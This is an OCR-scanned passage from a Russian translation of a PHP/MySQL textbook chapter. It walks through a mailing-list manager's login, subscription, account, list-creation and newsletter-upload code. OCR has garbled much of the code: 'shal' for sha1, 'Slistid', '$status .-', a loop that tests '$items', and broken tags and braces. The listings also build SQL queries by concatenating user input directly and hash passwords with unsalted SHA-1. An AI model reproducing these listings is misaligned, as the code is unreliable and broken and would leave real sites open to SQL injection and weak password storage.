Вначале эта функция проверяет, заполнил ли пользователь все необходимые поля формы. Если все в порядке, функция либо создает нового пользователя, либо обнов- ляет сведения об учетной записи для существующего пользователя. Пользователь мо- жет обновить сведения об учетной записи только после входа в систему под соответ- ствующим именем. Авторизация вошедшего пользователя осуществляется с помощью функции get email (), которая получает адрес электронной почты текущего пользователя, вошедшего в систему. Мы вернемся к этой функции немного позже, поскольку в ней задействованы переменные сеанса, устанавливаемые во время входа в систему. Вход в систему После того как пользователь заполнил форму входа в систему, показанную на рис. 30.4, и щелкнул на кнопке Log In (Войти), запускается сценарий index.php с ус- тановленными значениями переменных email и password. В результате активизиру- ется код входа в систему, относящийся к этапу предварительной обработки сценария. Соответствующий фрагмент кода показан ниже: // Необходимо сначала обработать запросы на вход и выход из системы if(($_POST[’email']) && ($_POST['password'])) { $login = login($_POST['email'], $_POST['password']); if($login == 'admin') { $status .= ”<p style=\"padding-bottom: 50px\"> <strong>".get_real_name($_POST['email'])."</strong> успешно вошел в систему как <5Ггопд>администратор</5Ьгопд>.</р>"; $_SESSION['admin_user'] = $_POST['email']; } else if($login == 'normal') { $status .= "<p style=\"padding-bottom: 50px\"> <strong>".get_real_name($_POST['email'])."</strong> успешно вошел в систему.</p>"; $_SESSION['normal_user'] = $_POST['email']; } else { $status .- "<p style=\"padding-bottom: 50рх\">Извините, вход в систему с данным адресом электронной почты и паролем невозможен.</р>"; } } if($action== 'log-out') { unset($action); $_SESSION=array() ; session_destroy() ; } Как видите, сначала предпринимается попытка войти в систему с помощью функ- ции login () из библиотеки user auth fns.php. Эта функция несколько отличается от функций регистрации, использованных в других примерах, поэтому давайте ее рассмотрим более подробно. Код функции login () представлен в листинге 30.5. Глава 30. Разработка диспетчера списков рассылки 655
Листинг 30.5. Функция login() из библиотеки user_auth_fns.php — эта функция проверяет регистрационные сведения пользователя function login($email, $password) { // Проверяет с помощью доступа к базе данных переданные имя пользователя //и пароль. Если совпадение найдено, возвращает тип регистрации, //в противном случае - значение false // Подключиться к базе данных $conn = db_connect() ; if (!$conn) { return 0; } $query = "select admin from subscribers where email=’".$email. " ’ and password = shal(’".$password."’) $result = $conn->query($query); if (!$result) { return false; } if ($result->num_rows<l) { return false; } $row = $result->fetch_array(); if($row[0] == 1) { return ’admin’; } else { return ’normal’; } Функции регистрации, которые мы применяли ранее, возвращали значение true в случае успешной регистрации и false в случае неудачи. В данной ситуации функ- ция также возвращает значение false при неудаче, однако в случае успешной реги- страции она возвращает тип пользователя: ’ admin ’ или ’ normal ’. Тип пользовате- ля выбирается из столбца admin таблицы подписчиков в соответствие с конкретной комбинацией адреса электронной почты и пароля. Если не возвращается никакого результата, функция возвращает значение false. Если пользователь является адми- нистратором, в столбце должно быть записано значение 1 (true) и функция вернет строку ’ admin ’. В противном случае она вернет значение ' normal ’. Возвращаясь к основной процедуре выполнения, мы регистрируем переменную сеанса для отслеживания того, кем является данный пользователь. Этой перемен- ной будет либо admin user, если пользователь является администратором, либо normal user, если это обычный пользователь. Какая бы из этих переменных ни была определена, она будет содержать адрес электронной почты пользователя. С целью уп- рощения проверки адреса электронной почты пользователя применяется ранее упо- минавшаяся функция get email (). Ее код можно найти в листинге 30.6. 656 Часть V. Реальные проекты на РНР и MySQL
Листинг 30.6. Функция get_email () из библиотеки user_auth_fns.php — эта функция возвращает адрес электронной почты зарегистрированного пользователя function get_email() { if (isset($_SESSION[’normal_user’])) { return $_SESSION[’normal_user']; } if (isset($_SESSION[’admin_user’])) { return $_SESSION[’admin_user’]; return false; } После возврата в основную программу система сообщает пользователю, был ли он зарегистрирован, и если да, то на каком уровне. Результат выполнения попытки регистрации показан на рис. 30.6. Теперь, после входа в систему в качестве рядового пользователя, мы должны пе- рейти к реализации функций пользователя. Реализация функций пользователя После входа в систему пользователю должны быть доступными пять действий. Просмотр списков рассылки, доступные для подписки. Подписка на списки рассылки и отмена подписки на них. Изменение настройки своих учетных записей. Изменение своего пароля. Выход из системы. Большинство из этих опций можно найти на рис. 30.6. Ниже мы рассмотрим реа- лизацию каждой из них. Пи » - МожЙа Firefox ; Не Edit yiew History Bookmarks Tools Help Пирамида Password t Settings Ева Легкая вошел в систему успешно Done i j http:/M«lhost/phpmysq!/30/tndex.p^p?3Cbon= Lists Нет элементов для QTOfo -ажения Dr-.писанные списки Other Lists Рис. 30.6. Система сообщает пользователю об успешном входе Глава 30. Разработка диспетчера списков рассылки 657
Просмотр списков рассылки В этом проекте мы реализуем набор опций для просмотра доступных списков рассылки и детальной информации о них. На рис. 30.6 показаны две таких опции: Show Му Lists (Показать мои списки рассылки), обеспечивающая вывод списков, на которые подписался данный пользователь, и Show Other Lists (Показать дру- гие списки рассылки), обеспечивающая вывод списков, на которые данный поль- зователь пока не подписался. Если вы снова посмотрите на рис. 30.4, то наверняка заметите, что существует еще одна опция — Show All Lists (Показать все списки рассылки), которая приводит к отображению всех доступных в системе списков рассылки. Чтобы система оказалась действительно полезной, ее следует дополнить функцией разбиения на страницы (для отображения, скажем, по 10 списков на каждой странице). Для краткости мы решили этого не делать. Три перечисленных опции активизируют, соответственно, действия show-my-lists, show-other-lists и show-all-lists. Несложно догадаться, что все эти действия работают весьма схожим образом. Вот как выглядит код реализации упомянутых действий: case ’show-all-lists’: display_items(’Все списки', get_all_lists (), ’information’, 'show-archive break; case ’show-other-lists’: display_items('Неподписанные списки’, get_unsubscribed_lists(get_email ()), ’information’, ’show-archive’, ’subscribe’); break; case ’’: c.ase ’show-my-lists’: display_items ('Подписанные списки', get_subscribed_lists (get_email () ) , 'information', ’show-archive’, ’unsubscribe’); break; Как видите, все эти действия вызывают функцию display items () из библио- теки output_fns .php, однако в каждом случае эта функция вызывается с други- ми параметрами. Кроме того, действия используют также упоминавшуюся ранее функцию get email () для получения соответствующего адреса электронной поч- ты для данного пользователя. Результат выбора опции Show Other Lists (действие show-other-lists) можно видеть на рис. 30.7. На этом рисунке показана страница неподписанных списков. Давайте рассмотрим код функции display items () более подробно. Этот код представлен в листинге 30.7. 658 Часть V. Реальные проекты на РНР и MySQL
Рис. 30.7. Функция display !terns () используется для вывода перечня списков рассылки, на которые пользователь еще не подписался Листинг 30.7. Функция display_iterns () из библиотеки output_fns .php — эта функция используется для отображения списка элементов и связанных с ними действий function display_items($title, $list, $actionl=’’, $action2=’’, $action3=’’) { global $table_width; echo "ctable width=\"$table_width\" cellspacing=\"0\" cellpadding=\"0\" border=\"0\">"; // Подсчитать количество действий $actions = (($actionl! = ’’) + ($action2! = ’ ') + ($action3!=’’)); echo "<tr> <th colspan=\'”’. (l+$actions)."\" bgcolor=\"#5B69A6\">" .$title."</th> </tr>"; // Подсчитать количество элементов $items = sizeof($list); if($items == 0) { echo "<tr> ctd colspan=\"". (l+$actions) . "\" align=\"center\’’> Нет элементов для отображения c/td> c/tr>"; } else { // Вывести каждую строку for($i =0; $items; $i++) { if($i%2) { // Переключение цвета фона $bgcolor = "#ffffff"; } else { $bgcolor = "#ccccff"; } Глава 30. Разработка диспетчера списков рассылки 659
echo "<tr> <td bgcolor=\"".$bgcolor."\" width=\'”’. ($table_width - ($actions * * 149)). echo $list[$i] [1]; if($list[$i] [2]) { echo ’’ - ”.$list[$i] [2] ; } echo "</td>"; / / Создать кнопки для представления максимум трех действий в строке for($j ’= 1; $j<=3; x$j++) { $var = "action".$j; if($$var) { echo "<td bgcolor=\"".$bgcolor."\h width-\"149\">"; // Кнопки view/preview (показать/предварительный просмотр) // представляют собой специальный случай, // поскольку они указывают на некоторый файл if(($$var == ’preview-html') | | ($$var == 'view-html’) | | ($$var == ’preview-text’) || ($$var == ’view-text’)) { display_preview_button($list[$i][3], $list[$i][0], $$var); } else { display_button($$var, ’&id=’ . $list [$i] [0]); } echo "</td>"; } } echo "</tr>\n"; } echo "</table>"; Эта функция будет выводить таблицу элементов, каждый из которых имеет до трех связанных с ним кнопок, инициирующих действия. Функция принимает следую- щие пять параметров, по порядку. $ title — заголовок, который отображается в верхней части таблицы. В кон- кретном случае, показанном на рис. 30.7, в качестве заголовка передается “Неподписанные списки”; мы обсуждали это ранее, когда рассматривали фраг- мент кода для действия show-other-lists. $list — массив элементов, которые должны отображаться в каждой строке таб- лицы. В данном случае это массив списков рассылки, на которые пользователь не подписан в текущий момент. Мы создаем этот массив (в данном случае) в функции get unsubscribed lists (), которая будет рассмотрена несколько позже. Это многомерный массив, в котором каждая строка содержит до четы- рех элементов данных о каждой из строк. Рассмотрим эти элементы. • Элемент $list [п] [0] должен содержать идентификатор элемента, которым обычно будет номер строки. Этот элемент присваивает кнопкам действий иден- тификатор строки, применительно к которой они должны действовать. В дан- ном случае будут использоваться идентификаторы из базы данных — об этом будет сказано чуть позже. 660 Часть V. Реальные проекты на РНР и MySQL
• Элемент $ 1 i s t [ n ] [ 1 ] должен содержать имя элемента. Им будет текст, отобра- жаемый для конкретного элемента. Например, в случае, показанном на рис. 30.7, именем элемента в первой строке таблицы является “РНР Tipsheet”. • Элементы $ 1 i s t [ n ] [2] n$list[n] [3] необязательны. Они используются для того, чтобы указать на присутствие дополнительной информации, и соответ- ствуют дополнительному информационному тексту и идентификатору допол- нительной информации. Пример применения этих двух параметров будет приведен при рассмотрении действия View Mail (Просмотреть почту) в разделе “Реализация функций администратора” этой главы. Третий, четвертый и пятый параметры функции display !terns () используют- ся для передачи трех действий, которые будут отображаться на кнопках, соот- ветствующих каждому элементу. На рис. 30.7 таковыми являются три функцио- нальных кнопки: Information (Информация), Show Archive (Показать архив) и Subscribe (Подписаться). Эти три кнопки для страницы просмотра всех списков были получены за счет пе- редачи имен действий — information, show-archive и subscribe. За счет исполь- зования функции display button () упомянутые действия были преобразованы в кнопки с отображаемыми на них словами и связанными с ними соответствующими действиями. Как видно из действий, каждое действие, связанное с показом, приводит к раз- личному способу вызова функции dispay items (). Помимо того, что каждое из дей- ствий имеет свой заголовок и свои кнопки, оно же использует собственную функцию для построения массива отображаемых элементов. Действие show-all-lists использует функцию get_all_lists (), show-other-lists — функцию get_unsubscribed_lists (), a show-my-lists — функцию get_subscribed_ lists (). Все эти функции работают аналогичным образом. Они входят в состав биб- лиотеки функций mlm fns .php. Мы решили ознакомиться с кодом функции get_unsubscribed_lists (), поскольку именно этот пример рассматривался до сих пор. Ее код представлен в листинге 30.8. Листинг 30.8. Функция get_unsubscribed_lists () из библиотеки mlm_fns .php — эта функция служит для создания массива списков рассылки, на которые пользователь не подписался function get_unsubscribed_lists($email) { // Извлекает списки рассылки, на которые данный пользователь *не* подписался $list = array () ; $guery = "select lists.listid, listname, email from lists left join sub_lists on lists.listid = sub_lists.listid and email=’".$email."' where email is NULL order by listname"; if($conn=db_connect()) { $re$ult = $conn->guery($guery); if(!$result) { echo "<р>Невозможно прочитать список из базы данных.</р>"; return false; } $num = $result->num_rows; Глава 30. Разработка диспетчера списков рассылки 661
i for($i = 0; $i<$num; $i++) { $row = $result->fetch_array(); array_push($list, array($row[0], $row[l])); } } return $list; Как видите, этой функции необходимо передать адрес электронной почты. Им должен быть адрес электронной почты подписчика, с которым выполняется работа. Функции get subscribed lists () также ожидает передачи адреса электронной поч- ты в качестве параметра, а вот, что должно быть совершенно очевидно, для функции get all lists () подобное не требуется. Имея адрес электронной почты подписчика, мы подключаемся к базе данных и получаем все списки рассылки, на которые подписчик не подписался. Для отыскания несовпадающих элементов применяется конструкция LEFT JOIN. Циклический просмотр результатов и построчное построение массива выполняет- ся с использованием встроенной PHP-функции array push (). Теперь, когда известно, как создавать этот список, давайте рассмотрим связанные с этим выводом кнопки действий. Просмотр сведений о списке рассылки Кнопка Information (Информация), которую можно видеть на рис. 30.7, запускает действие information, которое реализовано с помощью следующего кода: 'case ’information': display_information($_GET[’id']); break; Результат выполнения функции display information () показан на рис. 30.8. Пирамида - Information Рис. 30.8. Функция display-information () отображает детальную информацию о списке рассылки /Ц? Пирамида - Information - Mozilla Firefox Edit View History gpokmarks Tools Help О ) • J ,http://!oca&TOsWf^ysW30^xiex.pt43?adx»i===infoiraatoi&d=2 Советы по РНР Советы подсказки и приемы, полезные при программировании на РНР. Количество подписчиков^ Количество сообщений в а; хиве:0 662 Часть V. Реальные проекты на РНР и MySQL
Функция отображает некоторые базовые сведения о конкретном списке рассылки, а также количество подписчиков и количество отправленных в список и доступных в архиве информационных бюллетеней (подробнее об этом — немного позже). Полный код этой функции можно найти в листинге 30.9. Листинг 30.9. Функция display_information() из библиотеки output_fns .php — эта функция отображает детальную информацию о списке рассылки function display_information(Slistid) { // Отображает детальную информацию о списке рассылки if(!Slistid) { return false; } Sinfo = load_list_info(Slistid); if ($info) { echo ’’<h2>’’.pretty (Sinfo [listname] ).”</h2> <p>”.pretty($infо[blurb])." </р><р>Количество подписчиков:infо[subscribers].’’ </р><р>Количество сообщений в архиве:” .$infо[archive]."</р>"; } } Для выполнения своей связанной с веб-средой задачи функция display_infor- mation () использует две другие функции: load_list_infо () и pretty (). Функция load list inf о () действительно получает данные из базы данных. Функция pretty () просто форматирует эти данные, удаляя из них символы косой черты, пре- образуя символы новой строки в HTML-дескрипторы <Ьг> и выполняя подобные действия. Давайте кратко рассмотрим функцию load list info (). Она входит в состав библиотеки mlm fns .php, а ее код можно найти в листинге 30.10. Листинг 30.10. Функция load_list_infо() из библиотеки mlm_fns.php — эта функция создает массив детальной информации о списке рассылки function load_list_info(Slistid) { if(!Slistid) { return false; } if(!$conn=db_connect()) { return false; } Squery = ’’select listname, blurb from lists where l|stid = Slistid."”'; Sresult = $conn->query(Squery) ; if(!Sresult) { echo "<p>He удается извлечь список</р>"; return false; } Sinfo = $result->fetch_assoc(); Глава 30. Разработка диспетчера списков рассылки 663
$query = "select count(*) from sub_lists where listid = •~$listid.”’n; $result = $conn->query($query); if($result) { $row = $result->fetch_array(); $info['subscribers’] =$row[0]; } $query = "select count(*) from mail where listid = '”.$listid."' and status = 'SENT'"; $result = $conn->query($query); if($result) { $row = $result->fetch_array(); $info['archive'] =$row[0]; } return $info; } Функция выполняет три запроса к базе данных с целью формирования имени и информационной строки для списка рассылки из таблицы lists, количества подпис- чиков из таблицы sub lists и количества отправленных информационных бюллете- ней из таблицы mail. Просмотр архивов списков рассылки Помимо просмотра информационной строки списка рассылки, пользователи мо- гут просматривать все сообщения электронной почты, которые были отправлены в список рассылки, выполнив для этого щелчок на кнопке Show Archive (Показать ар- хив). В результате активизируется действие show-archive, которое приводит к вы- полнению следующего кода: case 'show-archive': display_items('Архив для '.get_list_name($_GET['id']), get_archive($_GET['id’]), 'view-html', 'view-text', ''); break; Эта функция также использует функцию displayed terns () для вывода списка раз- личных элементов сообщений электронной почты, отправленных в список рассылки. Элементы извлекаются с помощью функции ge tar chive () из состава библиотеки mlm fns .php. Ее код приведен в листинге 30.11. Листинг 30.11. Функция get_archive () из библиотеки mlm_fns. php — эта функция создает массив архивированных информационных бюллетеней для данного списка рассылки function get_archive($listid) { // Возвращает массив архивированных сообщений электронной почты для данного списка. // Массив содержит строки формата (идентификатор сообщения, тема сообщения) $list = array(); $listname = get_list_name ($listid) ; $query = "select mailid, subject, listid from mail where listid = '".$listid."' and status = 'SENT' order by sent"; 664 Часть V. Реальные проекты на РНР и MySQL
if($conn=db_connect()) { $result = $conn->query($query) ; if(!$result) { echo "<:p>He удается извлечь список из базы данных.</р>"; return false; } $num = $result->num_rows; for($i = 0; $i<$num; $i++) { $row = $result->fetch_array(); $arr_row = array($row[0], $row[l], $listname, $listid); array_push($list, $arr_row); } } return $list; } Как и ранее, эта функция извлекает из базы данных требуемую информацию — в данном случае сведения о сообщениях электронной почты, которые были отправле- ны, — и создает массив, подходящий для передачи в функцию display items (). Подписка и отмена подписки В перечне списков рассылки, показанном на рис. 30.7» каждый список рассыл- ки имеет кнопку, которая дает возможность пользователям подписаться на него. Аналогично, если пользователи выбирают опцию Show Му Lists (Показать мои спи- ски рассылки) для просмотра списков, на которые они уже подписались, рядом с ка- ждым списком отображается кнопка Unsubscribe (Отменить подписку). Эти кнопки активизируют действия subscribe (подписаться) и unsubscribe (от- менить подписку), которые приводят к выполнению, соответственно, следующих двух фрагментов кода: case 'subscribe’: subscribe(get_email(), $_GET['id']); display_items(’Подписанные списки', get_subscribed_lists(get_email()), 'information', 'show-archive', 'unsubscribe'); break; case 'unsubscribe*: unsubscribe(get_email (), $_GET['id']); display_iterns('Подписанные списки', get_subscribed_lists(get_email()), 'information', 'show-archive', 'unsubscribe'); break; В любом случае вызывается какая-то функция (subscribe () или unsubscribe ()), а затем с помощью функции di splay iterns () снова выводится перечень списков рассылки, на которые пользователь подписан в текущий момент. Код функций subscribe () и unsubscribe () можно найти в листинге 30.12. Глава 30. Разработка диспетчера списков рассылки 665
Листинг 30.12. Функции subscribe () и unsubscribe () из библиотеки mlm_fns .php — эти функции добавляют и удаляют подписанные списки рассылки для данного пользователя function subscribe($email, $listid) { // Подписывает заданный адрес электронной почты на указанный список рассылки if((!$email) || (!$listid) || (!list_exists($listid)) || (!subscriber_exists($email))) { return false; } // Выйти, если подписка на этот список уже совершена if(subscribed($email, $listid)) { return false; } if(!$conn=db_connect ()) { return false; } ' $query = "insert into sub_lists values ('".$email."’, $listid)"; $result = $conn->query($query); return $result; } function unsubscribe($email, $listid) { // Отменить подписку заданного адреса электронной // почты на указанный список рассылки if ((!$email) II (!$listid)) { return false; if(!$conn=db_connect ()) { return false; } $query = "delete from sub_lists where email = '".$email."’ and listid = ' ".$listid."'"; $result = $conn->query($query); return $result; Функция subscribe () добавляет в таблицу sub lists строку, соответствующую подписке; функция unsubscribe () удаляет эту строку. Изменение параметров настройки учетной записи Щелчок на кнопке Account Settings (Параметры настройки учетной записи) акти- визирует действие account-settings. С этим действием связан следующий код: case ’account-settings': display_account_form(get_email(), get_real_name(get_email ()), get_mimetype(get_email ())); break; 666 Часть V. Реальные проекты на РНР и MySQL
Как видите, снова вызывается функция display_account_form(), которая приме- нялась для первоначального создания учетной записи. Однако на этот раз ей переда- ются текущие сведения о пользователе, которые с целью упрощения внесения изме- нений будут отображаться на форме. Как уже отмечалось ранее, когда пользователь щелкает на кнопке отправки этой формы, активизируется действие store-account. Изменение пароля Щелчок на кнопке Change Password (Изменить пароль) активизирует действие change-password, которое приводит к выполнению следующего кода: case ’change-password’: display_password_form(); break; Функция displayjpassword_form() из библиотеки output_fns .php просто ото- бражает форму, в которой пользователь может изменить свой пароль. Эта форму можно видеть на рис. 30.9. Рис. 30.9. Функция display_password_form() предоставляет пользователям возможность изменять свои пароли Когда пользователь щелкает на кнопке Change Password в нижней части этой формы, активизируется действие store-change-password. С этим действием связан следующий код: case 'store-change-password': if(change_password(get_email (), $_POST[ 'old_passwd'], $_POST['new_passwd'], $_POST['new_passwd2'])) { echo "<p style=\"padding-bottom: 50px\">OK: Пароль изменен.</p>"; } else { echo "<p style=\"padding-bottom: 50рх\">Извините, ваш пароль не может быть изменен.</р>"; display_password_form(); I break; Глава 30. Разработка диспетчера списков рассылки 667
Этот код предпринимает попытку с помощью функции change password () из- менить пароль и сообщает пользователю об успехе или неудаче выполнения. Функция change password () входит в состав библиотеки user auth fns .php, а ее код приве- ден в листинге 30.13. Листинг 30.13. Функция change_password () из библиотеки user_auth_fns.php — эта функция проверяет и обновляет пароль пользователя function change_password($email, $old_password, $new_password, $new_password_conf) { // Изменяет старый пароль $old_password для адреса $email на новый пароль // $new_password. Возвращает значение true или false. // Если старый пароль корректен, изменить пароль на $new_password //и вернуть значение'true. В противном случае вернуть значение false. if (login($email, $old_password)) { if($new_password==$new_password_conf) { if (! ($conn = db_connect ())) { return false; } Squery = "update subscribers set password = shal(.$new_password."') where email = '".$email."'"; $result = $conn->query(Squery); return Sresult; } else { echo '<р>Переданные вами пароли не совпадают.</р>'; } } else { echo '<р>Старый пароль указан неправильно.</р>'; } return false; // старый пароль указан неправильно Эта функция подобна остальным рассмотренным функциям определения и изме- нения паролей. Она сравнивает пару вновь введенных пользователем паролей, чтобы убедиться в том, что они совпадают, и если это так, пытается обновить пароль поль- зователя в базе данных. Выход из системы Когда пользователь щелкает на кнопке Log Out (Выход), инициируется действие log-out. Выполняемый этим действием код находится в разделе предварительной обработки сценария и имеет следующий вид: if(Section == 'log-out') { unset(Section); $_SESSION=array(); session_destroy() ; } Этот фрагмент кода освобождает память, выделенную под переменные сеанса, и удаляет сеанс. Обратите внимание, что он отменяет также переменную action. Это 668 Часть V. Реальные проекты на РНР и MySQL
значит, что мы будем входить внутрь оператора case основной ветви без какого-либо действия, т.е. будет выполняться следующий код: default: if(1check_logged_in()) { display_login_form($action); } break; Это позволит зарегистрироваться другому пользователю или этому же пользовате- лю, но под другим именем. Реализация функций администратора Если какой-то пользователь регистрируется как администратор, ему доступны до- полнительные опции, показанные на рис. 30.10. Рис. 30.10. Меню администратора разрешает создавать и управлять списками рассылки Дополнительные опции включают: Create List (Создать список рассылки), кото- рый обеспечивает создание нового списка рассылки; Create Mail (Создать новое со- общение), реализующий функцию подготовки нового информационного бюллетеня; View Mail (Просмотреть сообщение), с помощью которого выполняется просмотр и отправка в список рассылки ранее созданных, но не отправленных информационных бюллетеней. Давайте по очереди рассмотрим все опции. Создание нового списка рассылки Если администратор решает создать новый список рассылки и выполняет щелчок на кнопке Create List, активизируется действие create-list, с которым связан сле- дующий код: case ’create-list’: display_list_form(get_email()); break; Глава 30. Разработка диспетчера списков рассылки
Функция display list form () отображает форму, которая позволяет админи- стратору ввести параметры нового списка рассылки. Эта функция входит в состав библиотеки output fns .php. Все что она делает, так это всего лишь выводит HTML- текст, поэтому подробно на ней останавливаться не имеет смысла. Результат ее выво- да можно посмотреть на рис. 30.11. Рис. 30.11. Опция Create List требует, чтобы администратор ввел имя и описание (или информационную строку) нового списка рассылки Когда администратор щелкает на кнопке Save List (Сохранить список рассылки), активизируется действие store-list, которое приводит к выполнению следующего фрагмента кода из файла index.php: case ’store-list’: if(store_list($_SESSION['admin_user'], $_POST)) { echo "<p style=\"padding-bottom: 50рх\’’>Новый список добавлен.</p>"; display_items('Все списки', get_all_lists (), 'information', 'show-archive } else { echo "<p style=\"padding-bottom: 50px\"> Невозможно создать список. Пожалуйста, повторите попытку.</р>"; } break; Несложно заметить, что код предпринимает попытку сохранить параметры ново- го списка рассылки, а затем вывести новый перечень списков рассылки. Параметры списка рассылки сохраняются с помощью функции store list (). Код этой функции показан в листинге 30.14. 670 Часть V. Реальные проекты на РНР и MySQL
Листинг 30.14. Функция store_list() из библиотеки mlm_fns.php — эта функция помещает в базу данных новый список рассылки function store_list($admin_user, $details) { if(!filled_out($details)) { echo "<р>Должны быть заполнены все поля. Повторите попытку.</р>"; return false; } else { if(!check_admin_user($admin_user)) { return false; // Как эта функция может вызываться кем-то, кто вошел в систему //не как администратор? } if(!$conn=db_connect()) { return false; } $query = "select count (*) from lists where listname = $details['name']." $result = $conn->query($query); $row = $result->fetch_array(); if($row[0] > 0) { echo "<р>Извините, список с таким именем уже существует.</р>"; return false; } $query = "insert into lists values (NULL, '".$details['name ' ".$details['blurb' $result = $conn->query($query) ; return $result; } } Прежде чем выполнить собственно запись в базу данных, эта функция предприни- мает несколько проверок: она проверяет, введены ли все необходимые данные, явля- ется ли текущий пользователь администратором, а также уникально ли имя списка рас- сылки. Если все в порядке, список добавляется в таблицу lists базы данных mlm. Загрузка нового информационного бюллетеня Наконец-то мы благополучно добрались до основной задачи этого приложения: загрузки и отправки информационных бюллетеней в списки рассылки. Когда администратор щелкает на кнопке Create Mail (Создать новое сообщение), активизируется действие create-mail, с которым связан следующий фрагмент кода: case 'create-mail' : display_mail_form(get_email()); break; Для администратора выводится форма, показанная на рис. 30.12. Вспомните, что при разработке этого приложения предполагалось, что админи- стратор создал информационный бюллетень в автономном режиме в двух форматах, HTML и текстовом, и перед отправкой загрузит обе версии. Этот подход был выбран Глава 30. Разработка диспетчера списков рассылки 671
ради того, чтобы для подготовки информационных бюллетеней администраторы могли пользоваться своими любимыми программами. В результате удобство работы с приложением возрастает. Е8е gcSt jfiew Hstorv gootaarks Tools Help Жв * C* ' http:/^ocafesti^ipm\sql/30,^cSex.php?actton=a-eate-<s« Пирамида - Create Mail Список Новости ира иды - Тема: Текстовая версия HTML-версия Browse: : Browse Изображения (не обязательны) Изображение 1 изображение 2 изображение 3 Изображение 4 Изображение 5 Изображение 6 Изображение 7 Изображение 8 Изображение 9 Изображение ю Browse- Browse. ' Browse.. Browse- Browse- Browse... • Browse- : Browse.. ; Browse- Рис. 30.12. Пункт меню Create Mail предоставляет администратору интерфейс для загрузки файлов информационных бюллетеней Как видите, эта форма содержит набор полей, которые должны заполняться ад- министратором. В верхней части формы располагается выпадающий список списков рассылки, из которого можно произвести выбор. Администратор должен также за- полнить поле темы информационного бюллетеня — это строка Тема будущего сооб- щения электронной почты. Все остальные поля формы являются полями для загрузки файлов, о чем свидетельст- вуют расположенные рядом с ними кнопки Обзор. Для того чтобы отправить информа- ционный бюллетень, администратор должен указать как текстовую, так и HTML-версию этого бюллетеня (хотя, конечно, при необходимости это можно было бы и изменить). Существует также несколько необязательных полей изображений, в которых админист- ратор может загружать любые изображения, внедренные в HTML-версию бюллетеня. Каждый из этих файлов должен указываться и загружаться отдельно. Отображаемая форма аналогична обычной форме загрузки файлов, за исключе- нием того, что в этом случае она используется для загрузки нескольких файлов. Это обусловливает некоторые небольшие различия в синтаксисе формы и в способе об- работки загруженных файлов на другом конце. 672 Часть V. Реальные проекты на РНР и MySQL
Код функции display mail form () показан в листинге 30.15. Листинг 30.15. Функция display_mail_form() из библиотеки output_fns.php — эта функция выводит форму загрузки файлов function display_mail_form($email, $listid=0) { / / Выводит html-форму для загрузки нового сообщения global $table_width; $list = get_all_lists () ; $lists = sizeof($list); ?> <table cellpadding="4" cellspacing="0" border="0" width="<?php echo $table_width?>"> <form enctype="multipart/form-data" action="upload.php" method="post"> <tr> <td bgcolor="#cccccc"> Список: </td> <td bgcolor="#cccccc"> <select name="list”> <?php for($i = 0; $i<$lists; $i++) { echo "<option value=\"".$list[$i] [0]. if ($listid== $list[$i] [0]) { echo " selected"; } echo ">".$list[$i][1]."</option>\n"; } ?> </select> </td> </tr> <tr> <td Ьдсо1ог="#сссссс">Тема:</td> <td bgcolor="#cccccc"> <input type="text" name="subject" value="<?php echo $subject; ?>" size="60" /></td> </tr> <tr> <td Ьдсо1ог="#сссссс">Текстовая версия:</td> <td bgcolor="#cccccc"> <input type="file" name="userfile [0] " size="60"/x/td> </tr> <tr> <td Ьдсо1ог="#сссссс">НТМЬ-версия:</td> <td bgcolor="#cccccc"> <input type="file" name="userfile[1]" size="60" /></td> </tr> <tr> <td bgcolor="#cccccc" со1зрап="2">Изображения: (не обязательны) <?php $max_images=10; Глава 30. Разработка диспетчера списков рассылки 673
for($i=0; $i<10; $i++) { echo "<tr><td Ьдсо1ог=\"#сссссс\">Изображение ".($i+l)</td> <td bgcolor=\"#cccccc\"xinput type=\"file\" name=\"userfile [" . ($i+2) . size=\"60\"/x/td> </tr>"; } ?> <tr> <td colspan="2" bgcolor="#cccccc" align="center"> <input type="hidden" name="max_images" value="<?php echo $max_images; ?>"> <input type="hidden" name="listid" value="<?php echo $listid; ?>"> <?php display_form_button(’upload-files’); ?> </td> </tr> </form> </table> <?php } Следует отметить, что файлы, которые требуется загрузить, вводятся в набор тек- стовых полей, каждое из которых имеет тип file, и будут иметь имена от userfile [0] до user file [n]. По сути, эти поля формы обрабатываются так же, как обрабатыва- лись бы флажки, а их именование выполняется в соответствии с соглашением для массивов. Если с помощью PHP-сценария необходимо загрузить произвольное количество файлов и просто обрабатывать их в виде массива, следует придерживаться этого со- глашения. Сценарий, обрабатывающий эту форму, фактически приведет к созданию трех мас- сивов. Давайте рассмотрим этот сценарий более подробно. Обработка загрузки нескольких файлов Вероятно, вы помните, что код загрузки файлов был помещен в отдельный файл. Полный код этого файла upload.php можно найти в листинге 30.16. Листинг 30.16. В сценарии upload.php реализована загрузка всех файлов, необходимых для информационного бюллетеня <?php // Эта функциональность вынесена в отдельный файл, чтобы можно было // проще решить вопросы безопасности. // Если что-то идет не так, как ожидалось, осуществляется выход $max_size = 50000; include (’include_fns.php’) ; session_start(); t // Загружать файлы могут только администраторы if(!check_admin_user()) { echo "<р>Вы не имеете права использовать эту страницу.</р>"; exit; } 674 Часть V. Реальные проекты на РНР и MySQL
/ / Создать кнопки панели инструментов администрирования $buttons = array(); $buttons[0] = ’change-password'; $buttons[l] = 'create-list'; $buttons[2] = 'create-mail' ; $buttons[3] = 'view-mail'; $buttons[4] = 'log-out'; $buttons[5] = 'show-all-lists'; $buttons[6] = 'show-my-lists'; $buttons[7] = 'show-other-lists'; do_html_header('Пирамида — Загрузка файлов'); display_toolbar($buttons); // Проверить, что страница вызывается с обязательными данными if((!$_FILES['userfile'] ['name'] [0]) I I (!$_FILES['userfile'] ['name'] [1]) I I (!$_POST['subject']||!$_POST['list'])) { echo "<р>Ошибка: вы не заполнили все поля формы. Необязательными полями являются только поля изображений. Каждое сообщение должно снабжаться темой, а также иметь текстовую и HTML-версию содержимого.</р>"; do_html_footer(); exit; $list = $_POST['list']; $subject = $_POST ['subject'] ; if(! ($conn=db_connect ())) { echo "<p>Heвозможно подключиться к базе данных</р>"; do_html_footer(); exit; // Сохранить детали сообщения в базе данных $query = "insert into mail values (NULL, ' " . $_SESSION [' admin_user'].'", '".$subject."', '".$list."', 'STORED', NULL, NULL)"; $result = $conn->query($query); if(!$result) { do_html_footer(); exit; } // Получить идентификатор сообщения, присвоенный MySQL $mailid = $conn->insert_id; if(!$mailid) { do_html_footer(); exit; Глава 30. Разработка диспетчера списков рассылки 675
